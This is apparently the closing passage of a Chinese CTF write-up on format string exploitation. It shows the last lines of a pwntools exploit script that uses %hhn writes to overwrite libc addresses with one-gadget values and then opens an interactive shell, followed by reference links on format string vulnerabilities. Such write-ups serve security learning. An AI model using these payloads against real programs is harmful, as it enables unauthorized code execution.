payload+=b'%'+str(ogg2-ogg1).encode()+b'c%12$hhn'
payload+=b'%'+str(ogg3-ogg2).encode()+b'c%13$hhnaaaaaaa'
payload+=p64(__libc_start)
payload+=p64(__libc_start+1)
payload+=p64(__libc_start+2)
#dbg()
sl(payload)
p.interactive()
```
## 参考
[原理介绍 - CTF Wiki (ctf-wiki.org)](https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/)
[格式化字符串 - 维基百科,自由的百科全书 (wikipedia.org)](https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2)
[Blind_pwn之格式化字符串 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/157555389)